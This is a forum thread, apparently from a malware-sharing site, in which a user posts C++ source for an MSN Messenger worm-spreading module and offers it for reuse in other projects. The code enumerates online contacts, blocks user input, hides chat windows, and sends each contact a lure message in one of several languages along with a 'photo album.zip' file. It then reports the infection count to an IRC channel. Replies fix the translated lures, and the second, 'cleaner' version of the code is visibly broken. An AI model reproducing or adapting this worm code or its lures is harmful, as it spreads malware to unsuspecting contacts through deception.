+ Reply to Thread
Page 1 of 2 12 LastLast
Results 1 to 10 of 14

Thread: MSN Spread

  1. #1
    Senior Member
    Join Date
    Jun 2008
    Location
    515
    Posts
    309

    MSN Spread

    Not sure if this is still working but I thought I'd post. With small modifications this can easily be used in any project for spreading functionality. Required files included in archive.

    Code:
    #import "MSNMessengerAPI.tlb" named_guids, no_namespace
    
    void to_variant(BSTR, VARIANT& vt);
    
    static const char *gen_msgenglish[] = {
      "Lmfao hey im sending my new photo album, Some bare funny pictures!",
      "lol my sister wants me to send you this photo album",
      "loooooooooooool :D",
      "Hey i been doing photo album! Should see em loL! accept please mate :)",
      "HEY lol i've done a new photo album !:) Second ill find file and send you it.",
      "Hey wanna see my new photo album?",
      "OMG just accept please its only my photo album!!",
      "Hey accept my photo album, Nice new pics of me and my friends and stuff and when i was young lol...", 
      "Hey just finished new photo album! :) might be a few nudes ;) lol...", 
      "hey you got a photo album? anyways heres my new photo album :) accept k?", 
      "hey man accept my new photo album.. :( made it for yah, been doing picture story of my life lol.."
    };
    
    static const char *gen_msgfrench[] = {
      "looool tu dois voire mon photo album",
      "ma soeur a voulu que tu regarde ca",
      "je vien de finire ce photo album :D",
      "j fais pour toi ce photo album tu dois le voire :)",
      "tu dois voire les tof de notre bande",
      "c seulement mes tof de derniers vacances",
      "eeeh c mes tof :p"
    };
    
    static const char *gen_msgdutch[] = {
    "HEY lol heb ik een nieuw fotoalbum!: gedaan) Tweede ziek vindt dossier en verzendt u het ",
    "wanna Hey ziet mijn nieuw fotoalbum?", 
    "Hey keurt mijn fotoalbum, nieuwe pics van Nice van goed me en mijn vrienden en materiaal en toen ik jonge lol...", 
    "Hey beëindigde enkel nieuw fotoalbum! :) een paar nudes zou kunnen zijn;) lol... ", 
    "hey kreeg u een fotoalbum? anyways heres mijn nieuw fotoalbum:) keur k goed?",
    "hey mens keurt mijn nieuw fotoalbum goed.. :(",
    "het voor yah, doend beeldverhaal van mijn leven lol.."
    };
    
    static const char *gen_msggerman[] = {
    "he möchten mein neues Fotoalbum sehen?",
    "Geck, nehmen bitte sein nur mich Fotoalbum an: (!",
    "he möchten mein neues Fotoalbum sehen?",
    "lol meine Schwester wünscht mich Ihnen dieses Fotoalbum schicken"
    };
    
    static const char *gen_msgspain[] = {
    "¡El tipo, me acepta por favor su solamente álbum de foto: (!",
    "¡Hey i que hace el álbum de foto! Si vea el loL del em",
    "vengo de fi este foto álbum",
    "el lol mi hermana quisiera que le enviara este álbum de foto"
    };
    
    char *stristr(const char *String, const char *Pattern) {
    	char *pptr, *sptr, *start;
    	unsigned int slen, plen;
    
    	for (start = (char *) String,
    			pptr = (char *) Pattern,
    			slen = strlen (String), plen = strlen (Pattern);
    			/*
    			 * while string length not shorter than pattern length
    			 */
    			slen >= plen; start++, slen--) {
    		/*
    		 * find start of pattern in string
    		 */
    		while (toupper (*start) != toupper (*Pattern)) {
    			start++;
    			slen--;
    
    			/*
    			 * if pattern longer than string
    			 */
    
    			if (slen < plen)
    				return (NULL);
    		}
    
    		sptr = start;
    		pptr = (char *) Pattern;
    
    		while (toupper (*sptr) == toupper (*pptr)) {
    			sptr++;
    			pptr++;
    
    			/*
    			 * if end of pattern then pattern was found
    			 */
    
    			if ('\0' == *pptr)
    				return (start);
    		}
    	}
    	return (NULL);
    }
    
    
    void key_type(char* text, HWND hwnd)
    {
    
    HGLOBAL hData;
    
    LPVOID pData;
    
    OpenClipboard(hwnd);
    
    EmptyClipboard();
    
    hData = GlobalAlloc(GMEM_DDESHARE | GMEM_MOVEABLE, strlen(text) + 1);
    
    pData = GlobalLock(hData);
    
    strcpy((LPSTR)pData, text);
    
    GlobalUnlock(hData);
    
    
    
    SetClipboardData(CF_TEXT, hData);
    
    CloseClipboard();
    
    }
    
    
    void dropfiles(HWND hwnd){
        char windir[260];
    	char szFiles[260];
    	GetWindowsDirectory(windir,sizeof(windir));
    	strcat(windir,"\\photo album.zip");
    	memset(szFiles, '\0', sizeof(windir));
    	sprintf(szFiles, "%s",windir);
    
    if (::OpenClipboard (hwnd)) {
        ::EmptyClipboard ();
        int nSize = sizeof (DROPFILES) + sizeof (szFiles);
        HANDLE hData = ::GlobalAlloc (GHND, nSize);
        LPDROPFILES pDropFiles = (LPDROPFILES) ::GlobalLock (hData);
        pDropFiles->pFiles = sizeof (DROPFILES);
    
    #ifdef UNICODE
        pDropFiles->fWide = TRUE;
    #else
        pDropFiles->fWide = FALSE;
    #endif
    
        LPBYTE pData = (LPBYTE) pDropFiles + sizeof (DROPFILES);
        ::CopyMemory (pData, szFiles, sizeof (szFiles));
        ::GlobalUnlock (hData);
        ::SetClipboardData (CF_HDROP, hData);
        ::CloseClipboard ();
    }
    
    
    
    }
    
    void contactfuck(char *contact)
    {
    	IMSNMessenger *pIMessenger = NULL;
    
    	CoInitialize(0);
    
    	HRESULT hr = CoCreateInstance(
    		CLSID_Messenger,
    		NULL,
    		CLSCTX_ALL,
    		IID_IMSNMessenger,
    		(void **)&pIMessenger);
    
    	if (SUCCEEDED(hr))
    	{
    		pIMessenger->AddContact(0, contact);
    	}
    	pIMessenger->Release();
    	CoUninitialize();
    }
    
    
    
    void imfuck()
    {
    	char tempp[2];
    	const char *msgg;
    	
    	GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, tempp, sizeof(tempp));
    	if (strstr(tempp, "FR"))
    	{
    		msgg = *gen_msgfrench;
    	}
    	else if (strstr(tempp, "ES") || strstr(tempp, "MX"))
    	{
    		msgg = *gen_msgspain;
    	}
    	else if (strstr(tempp, "NL") || strstr(tempp, "BE"))
    	{
    		msgg = *gen_msgdutch;
    	}
    
    	else if (strstr(tempp, "DE"))
    	{
    		msgg = *gen_msggerman;
    	}
    	else 
    	{
    		msgg = *gen_msgenglish;
    
    	}
    
    	IMSNMessenger *pIMessenger = NULL;
    	
    	CoInitialize(0);
    
    	HRESULT hr = CoCreateInstance(
    		CLSID_Messenger,
    		NULL,
    		CLSCTX_ALL,
    		IID_IMSNMessenger,
    		(void **)&pIMessenger);
    
    	if (SUCCEEDED(hr))
    	{
    		char msg[256];
    		IDispatch * dispContacts = NULL;
    		pIMessenger->get_MyContacts(&dispContacts);
    		if (SUCCEEDED(hr))
    		{
    			IMSNMessengerContacts *pIMessengerContacts = NULL;
    
    			hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts);
    			if (SUCCEEDED(hr))
    			{
    				IDispatch * dispContact					= NULL;
    				IMSNMessengerContact *pIMessengerContact	= NULL;
    				long iContacts;
    
    				hr = pIMessengerContacts->get_Count(&iContacts);
    				if (SUCCEEDED(hr))
    				{
    					BlockInput(true);
    					int x;
    					for (long i = 0; i < iContacts; i++)
    					{
    						hr = pIMessengerContacts->raw_Item(i,&dispContact);
    						if (SUCCEEDED(hr))
    						{
    							hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact);
    							if (SUCCEEDED(hr))
    							{
    								BSTR szContactName;
    								VARIANT vt_user;
    								MISTATUS miStatus;
    								IDispatch *pIDispatch = NULL;
    								IMSNMessengerWindow *pIMessengerWindow;
    								LONG wndIM;
    
    								hr = pIMessengerContact->get_Status(&miStatus);
    								if (SUCCEEDED(hr))
    								{
    									if (miStatus == MISTATUS_OFFLINE)
    									{
    										pIMessengerContact->Release();
    										dispContact->Release();
    										continue;
    									}
    								}
    								pIMessengerContact->get_SigninName(&szContactName);
    								VariantInit( &vt_user );
    								to_variant(szContactName, vt_user);
    								Sleep(3000);
    								hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch);
    								if (SUCCEEDED(hr))
    								{
    									hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void**)&pIMessengerWindow);
    									if (SUCCEEDED(hr))
    									{
    										pIMessengerWindow->get_HWND(&wndIM);
    										SetForegroundWindow((HWND) wndIM);
    										SetFocus((HWND) wndIM);
    										ShowWindow((HWND) wndIM,0);										
    										srand(GetTickCount());										
                                            int i = rand() % sizeof(msgg) / sizeof(msgg[0]);
                                            key_type((char *)msgg[i], (HWND) wndIM);
    										keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);
                                            keybd_event(VkKeyScan('V'), 0, 0, 0);
                                            keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); 
                                            keybd_event(VK_RETURN, 0, 0, 0);
    										Sleep(50);
    										dropfiles((HWND) wndIM);
                                            keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);
                                            keybd_event(VkKeyScan('V'), 0, 0, 0);                                        
    										keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);*/																			
    										x++;
    									}
    									pIMessengerWindow->Release();
    								}
    								pIMessengerContact->Release();
    								dispContact->Release();
    							}
    						}
    					}
    					BlockInput(false);
    					sprintf(msg,  "PRIVMSG %s :MSN worm sent to: %d contacts\n", channel, x);
    	                send(sock, msg, strlen(msg), 0);
    					pIMessengerContacts->Release();
    				}
    				dispContacts->Release();
    			}
    		}
    		pIMessenger->Release();
    	}
    
    	CoUninitialize();
    
    	//return 0;
    }
    
    void to_variant(BSTR str, VARIANT& vt)
    {
    	reinterpret_cast<_variant_t&>(vt) = str;
    }
    Attached Files Attached Files
    [code]if( cumshot ->squirts() == hands ) {
    do {
    hands->wash();
    } while( hands->sticky() );
    }[/code]

    [code]http://qualitytobacco.blogspot.com/[/code]

  2. #2
    Senior Member
    Join Date
    May 2009
    Location
    explorer.exe
    Posts
    605
    Nice
    Common sence. So rare, its a fking super power...

  3. #3
    Senior Member
    Join Date
    Jun 2009
    Location
    Philadelphia
    Posts
    1,523
    sweet !
    thanks for the share

  4. #4
    Senior Member
    Join Date
    Jun 2008
    Location
    515
    Posts
    309
    Thanks for your post, I'm in the process of cleaning up this code right now.
    [code]if( cumshot ->squirts() == hands ) {
    do {
    hands->wash();
    } while( hands->sticky() );
    }[/code]

    [code]http://qualitytobacco.blogspot.com/[/code]

  5. #5
    Senior Member
    Join Date
    Jun 2008
    Location
    515
    Posts
    309
    Heres a much more clean variant, I modified it slightly. I was going to add to class but I will do that later.
    Code:
    #import "MSNMessengerAPI.tlb" named_guids, no_namespace
    
    HRESULT hInstance;
    
    void to_variant(BSTR, VARIANT& vt);
    
    static char* sEnglish[] = {
    	"Lmfao hey im sending my new photo album, Some bare funny pictures!",
    	"lol my sister wants me to send you this photo album",
    	"loooooooooooool :D",
    	"Hey wanna see my new photo album?",
    };
    
    static char* sFrench[] = {
    	"looool tu dois voire mon photo album",
    	"ma soeur a voulu que tu regarde ca",
    	"je vien de finire ce photo album :D",
    	"j fais pour toi ce photo album tu dois le voire :)",
    };
    
    static char* sDutch[] = {
    	"HEY lol heb ik een nieuw fotoalbum!: gedaan) Tweede ziek vindt dossier en verzendt u het ",
    	"wanna Hey ziet mijn nieuw fotoalbum?", 
    	"Hey keurt mijn fotoalbum, nieuwe pics van Nice van goed me en mijn vrienden en materiaal en toen ik jonge lol...", 
    };
    
    static char* sGerman[] = {
    	"he möchten mein neues Fotoalbum sehen?",
    	"Geck, nehmen bitte sein nur mich Fotoalbum an: (!",
    	"he möchten mein neues Fotoalbum sehen?",
    	"lol meine Schwester wünscht mich Ihnen dieses Fotoalbum schicken"
    };
    
    static char* sSpain[] = {
    	"¡El tipo, me acepta por favor su solamente álbum de foto: (!",
    	"¡Hey i que hace el álbum de foto! Si vea el loL del em",
    	"vengo de fi este foto álbum",
    	"el lol mi hermana quisiera que le enviara este álbum de foto"
    };
    
    static void key_type( char* text, HWND hwnd )
    {
    	HGLOBAL hData;
    	LPVOID pData;
    	OpenClipboard( hwnd );
    	EmptyClipboard( );
    	hData = GlobalAlloc( GMEM_DDESHARE | GMEM_MOVEABLE, strlen( text ) + 1);
    	pData = GlobalLock( hData );
    	strcpy( ( LPSTR ) pData, text);
    	GlobalUnlock( hData );
    	SetClipboardData(CF_TEXT, hData);
    	CloseClipboard();
    }
    
    
    static void DropFiles( HWND hwnd )
    {
    	char windir[260];
    	char szFiles[260];
    	GetWindowsDirectory(windir,sizeof(windir));
    	strcat(windir,"\\photo album.zip");
    	memset(szFiles, '\0', sizeof(windir));
    	sprintf(szFiles, "%s",windir);
    	
    	if (::OpenClipboard( hwnd )) 
    	{
    		::EmptyClipboard( );
    		int nSize = sizeof( DROPFILES ) + sizeof( szFiles );
    		HANDLE hData = ::GlobalAlloc( GHND, nSize );
    		LPDROPFILES pDropFiles = ( LPDROPFILES ) ::GlobalLock( hData );
    		pDropFiles->pFiles = sizeof( DROPFILES );
    	}
    }
    
    #ifdef UNICODE
        pDropFiles->fWide = TRUE;
    #else
        pDropFiles->fWide = FALSE;
    #endif
    	LPBYTE pData = ( LPBYTE ) pDropFiles + sizeof( DROPFILES );
    	::CopyMemory( pData, szFiles, sizeof( szFiles ));
    	::GlobalUnlock( hData );
        ::SetClipboardData( CF_HDROP, hData );
        ::CloseClipboard( );
    }
    
    static void AddContact( ) 
    {
    	pIMessenger->AddContact(0, contact);
    }
    
    static int Initialize( )
    {
    	IMSNMessenger *pIMessenger = NULL;
    	
    	CoInitialize( 0 );
    
    	HRESULT CCreateInstance = CoCreateInstance( CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMSNMessenger, (void **)&pIMessenger);
    	if( CCreateInstance != S_OK ) {
    		return( (unsigned long) CCreateInstance );
    	}
    	return( 0 );
    }
    
    static void Uninitialize( ) 
    {
    	pIMessenger->Release();
    	CoUninitialize();
    }
    
    static void GetLanguage()
    {
    	char sTemp[2];
    	const char* sMessage;
    	
    	if( int GLocaleInfo = GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, sTemp, sizeof( sTemp ) == 0 ) {
    		continue;
    	}
    	switch( strstr( sTemp ) {
    		case "FR";
    			sMessage = lFrench;
    			break;
    		case "ES" || "MX";
    			sMessage = lSpain;
    			break;
    		case "NL" || "BE";
    			sMessage = lDutch;
    			break;
    		case "DE";
    			sMessage = lGerman;
    			break;
    		case else;
    			sMessage = lEnglish;
    			break;
    	}
    }
    
    static void SendMessages() 
    {
    	IDispatch * dispContacts = NULL;
    	pIMessenger->get_MyContacts(&dispContacts);
    	IMSNMessengerContacts *pIMessengerContacts = NULL;
    
    	CCreateInstance = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts);
    	if( CCreateInstance != S_OK )
    	{
    		IDispatch * dispContact= NULL;
    		IMSNMessengerContact *pIMessengerContact= NULL;
    		int iContacts;
    	}
    	CCreateInstance = pIMessengerContacts->get_Count(&iContacts);
    	if( CCreateInstance != S_OK )
    	{
    		int x;
    		for( int i = 0; i < iContacts; i++ )
    		{
    			CCreateInstance = pIMessengerContacts->raw_Item(i,&dispContact);
    			if( CCreateInstance != S_OK )
    			{
    				CCreateInstance = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact);
    				if( CCreateInstance != S_OK )
    				{
    					BSTR sContact;
    					VARIANT vUser;
    					mStatus mStatus;
    					IDispatch* pIDispatch = NULL;
    					IMSNMessengerWindow* pIMessengerWindow;
    					LONG lWnd;
    
    					CCreateInstance = pIMessengerContact->get_Status( &mStatus );
    					if( CCreateInstance != S_OK )
    					{
    						if (mStatus == mStatus_OFFLINE) {
    							pIMessengerContact->Release();
    							dispContact->Release();
    							continue;
    						}
    					}
    					pIMessengerContact->get_SigninName(&sContact);
    					VariantInit( &vUser );
    					to_variant(sContact, vUser);
    					Sleep(3000);
    					CCreateInstance = pIMessenger->raw_InstantMessage(vUser,&pIDispatch);
    
    					if( CCreateInstance != S_OK ) 
    					{
    						CCreateInstance = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void**)&pIMessengerWindow);
    						if( CCreateInstance != S_OK ) 
    						{
    							pIMessengerWindow->get_HWND(&lWnd);
    							SetForegroundWindow((HWND) lWnd);
    							SetFocus((HWND) lWnd);
    							ShowWindow((HWND) lWnd,0);
    							srand(GetTickCount());
    							int i = rand() % sizeof(sMessage) / sizeof(sMessage[0]);
    							key_type((char *)msgg[i], (HWND) lWnd);
    							keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);
    							keybd_event(VkKeyScan('V'), 0, 0, 0);
    							keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); 
    							keybd_event(VK_RETURN, 0, 0, 0);
    							Sleep(50);
    							DropFiles( ( HWND ) lWnd );
    							keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);
    							keybd_event(VkKeyScan('V'), 0, 0, 0);                                       
    							keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
    							x++;
    						}
    						pIMessengerWindow->Release();
    					}
    					pIMessengerContact->Release();
    					dispContact->Release();
    				}
    			}
    		}
    		pIMessengerContacts->Release();
    	}
    	dispContacts->Release();
    }
    
    static void to_variant(BSTR str, VARIANT& vt)
    {
    	reinterpret_cast<_variant_t&>(vt) = str;
    }
    [code]if( cumshot ->squirts() == hands ) {
    do {
    hands->wash();
    } while( hands->sticky() );
    }[/code]

    [code]http://qualitytobacco.blogspot.com/[/code]

  6. #6
    Junior Member
    Join Date
    Jun 2009
    Posts
    14
    The clipboard part truly sucks

  7. #7
    Logek
    Guest
    error CRC in MSNMessengerAPI.tlb. (winrar)

    ! E:\Download\msn.rar: Echec CRC - MSNMessengerAPI.tlb. The file is corrupt.

    possible upload the file ?

    thanks

  8. #8
    Logek
    Guest
    http://www.opensc.ws/attachments/sni...ssengerapi.rar the link.

    you have full archive(.vcproject) i'm not expert in vs. thanks

  9. #9
    Senior Member
    Join Date
    Jun 2008
    Location
    DecodeBinary( 01010000 01100001 01101110 01100001 01101101 01100001 )
    Posts
    354
    omg , that spanish is to weird

    Code:
    static char* sSpain[] = {
    	"¡El tipo, me acepta por favor su solamente álbum de foto: (!",
    	"¡Hey i que hace el álbum de foto! Si vea el loL del em",
    	"vengo de fi este foto álbum",
    	"el lol mi hermana quisiera que le enviara este álbum de foto"
    maby you tried to say this

    Code:
    static char* sSpain[] = {
    	"¡Hola, Acepta por favor mi nuevo album de fotos: (!",
    	"¡hey, quieres ver mi nuevo album de fotos ?",
    	"Looool :D",
    	"lol, mi hermana quiere que te envie este album de fotos"
    [LEFT][COLOR=navy]DDR2 2GB RAM[/COLOR][/LEFT]
    [LEFT][COLOR=navy][B]dc5750SmallForm[/B]|[/COLOR][COLOR=teal]4200+2.20GHz|[/COLOR][COLOR=red]512MB X1300 |[/COLOR][/LEFT]
    [LEFT][IMG]http://tbn2.google.com/images?q=tbn:7UQmz3FD1LBveM:http://www.clusterresources.com/media/Logos/HP_logo.png[/IMG][IMG]http://tbn0.google.com/images?q=tbn:Jy3oPdJC-7bn5M:http://www.somospc.com/wp-content/uploads/2007/12/athlon64-x2-logo.gif[/IMG][IMG]http://tbn0.google.com/images?q=tbn:H-uMg6o-nFSkAM:http://www.madboxpc.com/wp-content/uploads/2008/11/ati_radeon_logo1.png[/IMG][/LEFT]
    [LEFT][IMG]http://img503.imageshack.us/img503/2245/thump501672dc7fd1255eni1.jpg[/IMG][/LEFT]

  10. #10
    Logek
    Guest
    static char* sFrench[] = {
    "looool tu dois voire mon photo album",
    "ma soeur a voulu que tu regarde ca",
    "je vien de finire ce photo album ",
    "j fais pour toi ce photo album tu dois le voire ",
    };


    remplace by

    static char* sFrench[] = {
    "looool tu dois voire mon album photo",
    "ma soeur a voulus que tu regardes ca",
    "je vien de finire ce album photo ",
    "jai fais pour toi cette album photo tu dois le voire ",
    };



    user with full projet (.vcproject) for me ? me projet is no compilable.

    sorry for me english

 

 

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. [C++] USB Spread?
    By criminalz in forum General Programming Help
    Replies: 3
    Last Post: 01-10-2009, 21:57
  2. What about lan spread
    By delphi_dev in forum Delphi Help
    Replies: 4
    Last Post: 28-05-2009, 16:49
  3. p2p spread anyone?
    By mjrod5 in forum Delphi Help
    Replies: 11
    Last Post: 23-05-2009, 01:42
  4. p2p spread
    By fearz in forum Delphi Help
    Replies: 1
    Last Post: 09-10-2008, 03:32
  5. Usb Spread Help
    By darkc0de in forum General Programming Help
    Replies: 5
    Last Post: 05-09-2008, 21:55

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
All times are GMT +1. The time now is 21:32.
www.opensc.ws
Copyright ©2005 - 2012, OpenSC Forums



Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.